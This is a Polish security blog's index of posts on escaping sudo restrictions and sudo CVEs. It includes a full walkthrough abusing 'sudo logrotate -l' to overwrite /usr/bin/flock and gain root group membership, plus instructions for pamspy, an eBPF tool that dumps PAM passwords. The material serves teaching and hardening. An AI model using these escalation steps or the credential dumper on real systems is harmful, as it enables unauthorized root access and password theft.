NFsec Logo

Uciekając z sudo – część szósta

24/09/2024 w Bezpieczeństwo Możliwość komentowania Uciekając z sudo – część szósta została wyłączona

P

oprzez wykorzystanie dowolnych komentarzy zawierających specjalny znak nowej linii: “\n” i za pośrednictwem poleceń iptables oraz iptables-save możemy nadpisać dowolny plik z prawami administratora i częściowo kontrolować zapisane wiersze – częściowo, ponieważ moduł komentarzy w iptables pozwala na umieszczenie 256 znaków, a zapis pliku poprzez iptables-save wprowadza pewne dane z utworzonych reguł zapory ogniowej (ang. firewall), które są dodawane przed i po wstrzykniętym komentarzu. W systemie Linux jest przynajmniej jeden plik, który nie przejmuje się niepotrzebnymi wierszami i je ignoruje, a jest nim (nie)sławny plik /etc/passwd.
[ czytaj całość… ]

Uciekając z sudo – część piąta

04/10/2023 w Bezpieczeństwo Możliwość komentowania Uciekając z sudo – część piąta została wyłączona

K

olejna część ucieczki z sudo będzie opierała się na wykorzystaniu programu logrotate. Zakładamy, że w systemie (tutaj Ubuntu 22.04) jest zainstalowany pakiet man-db, a użytkownik posiada możliwość uruchamiania programu logrotate z dowolnymi argumentami:

agresor ALL=(ALL:ALL) NOPASSWD: /usr/sbin/logrotate *

Okazuje się, że jeśli użyjemy parametru -l jesteśmy w stanie nadpisać zawartość dowolnego pliku traktując go jako dziennik wykonania programu logrotate. Dlatego możliwości wykorzystania tej luki są wszechstronne. Dla eskalacji uprawnień najlepszym scenariuszem jest, aby nadpisywany plik był wykonywany z uprawnieniami administratora. Przykładem tutaj może być skrypt znajdujący się w ścieżce: /etc/cron.daily/man-db. Uruchamiając logrotate za pomocą poleceń:

sudo logrotate -l /etc/cron.daily/man-db \
'2>/dev/null;/usr/sbin/usermod -a -G root agresor;exit 0;'

Nadpiszemy zawartość skryptu man-db tekstem:

error: cannot stat 2>/dev/null;/usr/sbin/usermod -a -G root agresor;exit 0;
: No such file or directory
Reading state from file: /var/lib/logrotate/status
Allocating hash table for state file, size 64 entries

I w tym momencie może się nam wydawać, że wystarczy poczekać jeden dzień na kolejne uruchomienie daemona cron(tab), aby skrypt uruchomił polecenie usermod i dodał użytkownika agresor do grupy administracyjnej. Nic bardziej mylnego – ponieważ każdy skrypt umieszczony w ścieżkach /etc/cron.(daily|weekly|monthly) musi zaczynać się od sekwencji shebang. W przeciwnym wypadku otrzymamy błąd run-parts: failed to exec script.sh: Exec format error:

root@darkstar:~# test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
/etc/cron.daily/man-db:
run-parts: failed to exec /etc/cron.daily/man-db: Exec format error
run-parts: /etc/cron.daily/man-db exited with return code 1

We need to go deeper…

Skoro skrypt w pierwszej linii wykonywania musi mieć odpowiedni format – to może warto zmodyfikować jakiś nieznaczący plik wewnątrz tego skryptu? Zresztą jak spojrzymy w zawartość skryptów w /etc/cron.(daily|weekly|monthly) to większość z nich nie jest wykonywana ze względu na systemd

# Skip if systemd is running.
if [ -d /run/systemd/system ]; then
  exit 0
fi

Spójrzmy zatem, co zamierza z opóźnieniem uruchomić systemd:

root@darkstar:~# systemctl list-timers 
NEXT     
Wed 2023-10-04 00:30:28 CEST 
LEFT
9min 2s left  
LAST
Tue 2023-07-04 18:02:24 CEST 
PASSED
2 months 30 days ago  
UNIT
apt-daily.timer                
ACTIVATES
apt-daily.service

Mamy szczęście. Za 9 minut wystartuje serwis apt-daily. Zobaczmy, co uruchamia:

agresor@darkstar:/usr/bin$ grep Exec /lib/systemd/system/apt-daily.service
ExecStartPre=-/usr/lib/apt/apt-helper wait-online
ExecStart=/usr/lib/apt/apt.systemd.daily update

Skrypt /usr/lib/apt/apt.systemd.daily z argumentem update. Jeśli uruchomimy go z naszego użytkownika może uda znaleźć się plik binarny lub inny skrypt odpowiedni do modyfikacji:

agresor@darkstar:~$ bash -x /usr/lib/apt/apt.systemd.daily update
+ '[' update = lock_is_held ']'
++ apt-config shell StateDir Dir::State/d
+ eval 'StateDir='\''/var/lib/apt/'\'''
++ StateDir=/var/lib/apt/
+ exec
/usr/lib/apt/apt.systemd.daily: line 326: /var/lib/apt//daily_lock: Permission denied
+ flock -w 3600 3
flock: 3: Bad file descriptor
+ echo 'E: Could not acquire lock'
E: Could not acquire lock
+ exit 1

flock wyglada na dobrego kandydata:

cp /usr/bin/flock /tmp/flock_to_restore
sudo logrotate -l /usr/bin/flock \
'2>/dev/null; /usr/bin/echo > /tmp/Pwn3d; /usr/sbin/usermod -a -G root agresor; exit 0;'

I rzeczywiście po uruchomieniu przez apt-daily.timer serwisu apt-daily.service wyzwolił on zmodyfikowany plik /usr/bin/flock, który wykonał w systemie nasze instrukcje z prawami administratora:

root@darkstar:~# grep apt-daily.service /var/log/syslog
Oct  4 00:31:45 darkstar systemd[1]: apt-daily.service: Deactivated successfully.
Oct  4 00:31:45 darkstar systemd[1]: apt-daily.service: Consumed 31.311s CPU time.
root@darkstar:~# ls -al /tmp/Pwn3d
-rw-r--r-- 1 root root 1 Oct  4 00:30 /tmp/Pwn3d
root@darkstar:~# id agresor
uid=1000(agresor) gid=1000(agresor) groups=1000(agresor),0(root)

Przy okazji omawiania tego przykładu warto wspomnieć o projekcie, który powstał na bazie GTFOBins. GTFOArgs to wyselekcjonowana lista plików binarnych systemów *nix, którymi można manipulować w celu wstrzykiwania argumentów, co może skutkować powstawaniem luk w zabezpieczeniach, czego byliśmy właśnie świadkami.

Więcej informacji: root with a single command: sudo logrotate, Another way to exploit ‘sudo logrotate’, Abusing a race condition in logrotate to elevate privileges

Za mały ekran dla systemd – CVE-2023-26604

21/03/2023 w Bezpieczeństwo Możliwość komentowania Za mały ekran dla systemd – CVE-2023-26604 została wyłączona

C

iekawa podatność pojawiła się w systemd, która bazuje na jednej z ucieczek z programu sudo. Otóż wersje systemd w wersji sprzed 247 umożliwiają eskalację uprawnień poprzez ominięcie ograniczeń uprawnień nakładanych przez konfigurację (/etc/sudoers) programu sudo dla danego użytkownika. Na przykład systemd w podatnych wersjach nie ustawia wartości “1” dla zmiennej LESSSECURE, dlatego program less biorący udział w tym łańcuchu zdarzeń jest w stanie uruchomić inny program (np. powłokę shell) z uprawnieniami administratora systemu. Wystarczy zmusić terminal do przekazania danych wyjściowych polecenia systemctl do programu less, co możemy bardzo prosto osiągnąć poprzez zmniejszenie okna samego terminala.
[ czytaj całość… ]

Obejście polecenia sudoedit w sudo <= 1.9.12p1 (CVE-2023-22809)

19/01/2023 w Bezpieczeństwo Możliwość komentowania Obejście polecenia sudoedit w sudo <= 1.9.12p1 (CVE-2023-22809) została wyłączona

M

atthieu Barjole oraz Victor Cutillas z Synacktiv zgłosili podatność w sudoedit (sudo -e), która pozwala złośliwemu użytkownikowi z uprawnieniami sudoedit na edycję dowolnych plików. Podatność dotyczy wersji sudo od 1.8.0 do 1.9.12p1 włącznie. Wersje sudo sprzed wydania 1.8.0 konstruują wektor argumentów w inny sposób i nie są dotknięte tym błędem. Przypomnijmy, że sudo (su “do”) to najpopularniejszy program w systemach Linux, który pozwala administratorowi systemu delegować uprawnienia wybranym użytkownikom (lub grupom użytkowników) dając im możliwość uruchamiania niektórych (lub wszystkich) poleceń jako administrator (root) lub inny użytkownik, zapewniając jednocześnie ścieżkę audytu poleceń i ich argumentów.
[ czytaj całość… ]

pamspy – zrzucacz poświadczeń dla Linuksa

14/07/2022 w Bezpieczeństwo, Pen Test Możliwość komentowania pamspy – zrzucacz poświadczeń dla Linuksa została wyłączona

N

arzędzie pamspy jest programem, który został zainspirowany przez podobną pracę, ale stworzoną znacznie wcześniej (Brendon Tiszka poczynił to dzieło na swoich studiach): 3snake. W przeciwieństwie do swojego poprzednika nie korzysta już z mechanizmu odczytu pamięci wywołań systemowych sshd i sudo, które obsługują uwierzytelnianie oparte na hasłach, ale wykorzystuje technologię eBPF. Dzięki temu jest w stanie śledzić konkretną funkcję w przestrzeni użytkownika wewnątrz biblioteki PAM (ang. Pluggable Authentication Modules) używanej przez wiele krytycznych aplikacji (sudo, sshd, passwd, gnome, X11 itp.) do obsługi uwierzytelniania. Ponieważ pamspy opiera się na libpam przed uruchomieniem programu musimy podać ścieżkę, gdzie biblioteka ta jest zainstalowana na naszej dystrybucji. W tym celu należy wydać następujące polecenie:

ldconfig -p | egrep -o '\/.*libpam\.so.*'

Po uzyskaniu ścieżki możemy uruchomić program:

sudo ./pamspy -p /lib/x86_64-linux-gnu/libpam.so.0

Załaduje on program eBPF, aby podczepić się pod funkcję pam_get_authtok z libpam.so. Za każdym razem, gdy proces uwierzytelnienia spróbuje sprawdzić nowego użytkownika, wywoła on wspomnianą funkcję pam_get_authtok, a pamspy będzie na konsolę zrzucać zawartość krytycznych sekretów. Jeśli teraz w drugiej konsoli zalogujemy się do serwera i podniesiemy swoje uprawnienia program powinien odnotować ten fakt:

1500   | sshd            | agresor              | K0ci.0g0n
1528   | sudo            | agresor              | K0ci.0g0n
3815   | passwd          | agresor              | P5i3.U5zy

Jeśli chcemy przeprowadzić kompilację programu ze źródeł to wymaga on kilku pakietów (Ubuntu 22.04):

apt install git make clang-11 gcc libelf-dev pkg-config -y 
apt install linux-tools-common linux-tools-5.15.0-41-generic -y
git clone https://github.com/citronneur/pamspy --recursive
cd pamspy/src
make

Nie musimy kompilować programu od podstaw, ponieważ w repozytorium jest już także plik zbudowany jako statyczna binarka bez żadnych zależności.

Więcej informacji: pamspy

Wsparcie dla wtyczek python w sudo 1.9

14/07/2021 w Bezpieczeństwo Możliwość komentowania Wsparcie dla wtyczek python w sudo 1.9 została wyłączona

W

szyscy znają sudo, prawda? Polecenie to pozwala administratorowi systemu nadać niektórym użytkownikom możliwość uruchamiania wybranych uprzywilejowanych poleceń, jednocześnie rejestrując ich argumenty i wykonanie. Program ten jest instalowany domyślnie prawie we wszystkich dystrybucjach systemu Linux i jest dostępny dla większości komercyjnych systemów Unix – umożliwiając precyzyjne dostosowywanie polityk dostępu. Mimo to nawet administratorzy systemów często wiedzą, że jest to “prefiks”, którego należy użyć przed uruchomieniem polecenia wymagającego uprawnień root nie zdając sobie sprawy z jego prawdziwych możliwości.
[ czytaj całość… ]

Podsumowanie ucieczek z sudo: GTFOBins (skaner)

14/03/2021 w Bezpieczeństwo Możliwość komentowania Podsumowanie ucieczek z sudo: GTFOBins (skaner) została wyłączona

Jest to ostatni wpis odnośnie ucieczek (1, 2, 3, 4) z sudo. Aktywnie utrzymywana, wyselekcjonowanych plików binarnych oraz skryptów Linuksa, których można użyć do ominięcia lokalnych ograniczeń bezpieczeństwa w źle skonfigurowanych systemach jest zawarta w projekcie GTFOBins (alternatywa dla systemu Windows to LOLBAS). Projekt gromadzi wykorzystanie zaimplementowanych funkcjonalności *niksowych plików binarnych, które mogą być wykorzystane do wyłamywania się z ograniczeń powłok, poleceń sudo, eskalacji uprawnień, czytania zastrzeżonych plików, czy uruchamiania powłok zwrotnych. Należy mieć na uwadze, że nie jest to lista eksploitów, a programy wymienione w GTFOBins same w sobie nie są podatne na ataki. Raczej projekt ten jest kompendium wiedzy o tym, jak wykorzystać je jeśli, któreś z nich uruchamiane jest z prawami administratora lub w ograniczonych środowiskach / powłokach.
[ czytaj całość… ]

CVE-2021-3156: Przepełnienie bufora sterty w sudo

27/01/2021 w Bezpieczeństwo Możliwość komentowania CVE-2021-3156: Przepełnienie bufora sterty w sudo została wyłączona

Zespół badawczy Qualys odkrył lukę przepełnienia sterty w sudo – prawie wszechobecnym narzędziu dostępnym w głównych systemach operacyjnych typu *nix. Każdy nieuprzywilejowany użytkownik posiadający dostęp do powłoki systemowej może uzyskać uprawnienia administratora (root) na hoście, którego dotyczy luka (przy domyślnej konfiguracji sudo). Sudo to potężne narzędzie, które jest zawarte w większości, jeśli nie we wszystkich systemach operacyjnych na systemach Unix i Linux. Umożliwia użytkownikom uruchamianie programów z uprawnieniami innego użytkownika. Luka sama w sobie ukrywała się na widoku prawie od 10 lat. W lipcu 2011 roku została wprowadzona zmiana (commit 8255ed69) i dotyczy ona wszystkich starszych wersji od 1.8.2 do 1.8.31p2 oraz wszystkich stabilnych wersji od 1.9.0 do 1.9.5p1 w ich domyślnej konfiguracji.
[ czytaj całość… ]

Obejście ograniczeń w sudo

15/10/2019 w Bezpieczeństwo Możliwość komentowania Obejście ograniczeń w sudo została wyłączona

G

dy sudo jest skonfigurowane tak, aby umożliwić użytkownikowi uruchamianie poleceń jako dowolny użytkownik za pomocą słowa kluczowego ALL w sekcji “uruchom jako” (ang. Runas) możliwe jest uruchomienie poleceń jako administrator systemu (root) podając ID użytkownika jako wartość -1 lub 4294967295. Może to być użyte przez użytkownika z wystarczającymi uprawnieniami sudo do uruchamiania poleceń jako root, nawet jeśli w sekcji “uruchom jako” jest wyraźny zakaz dostępu do uprawnień tego użytkownika. Jest to tylko możliwe, o ile słowo kluczowe ALL jest wymienione jako pierwsze w specyfikacji Runas. Wpisy dziennika dla uruchomionych w ten sposób poleceń będą wyświetlać docelowego użytkownika jako 4294967295 zamiast root. Ponadto moduły PAM nie będą uruchamiane dla polecenia.
[ czytaj całość… ]

Uciekając z sudo – część czwarta

13/04/2019 w Bezpieczeństwo Możliwość komentowania Uciekając z sudo – część czwarta została wyłączona

T

a część będzie zupełnie inna od poprzednich trzech (1, 2, 3). Jako użytkownik polecenia sudo na pewno zauważyłeś, że czasami sudo nie prosi o hasło, ponieważ pamięta nas jako użytkownika. Jak to się dzieje, że jesteśmy pamiętani? Czy możemy sfałszować taką tożsamość i uzyskać prawa administratora? Otóż sudo tworzy plik dla każdego użytkownika Linuksa w /var/run/sudo/ts/$USER. Pliki te zawierają udane i nieudane procesy uwierzytelnienia, które są używane przez sudo do zapamiętywania wszystkich uwierzytelnionych procesów.
[ czytaj całość… ]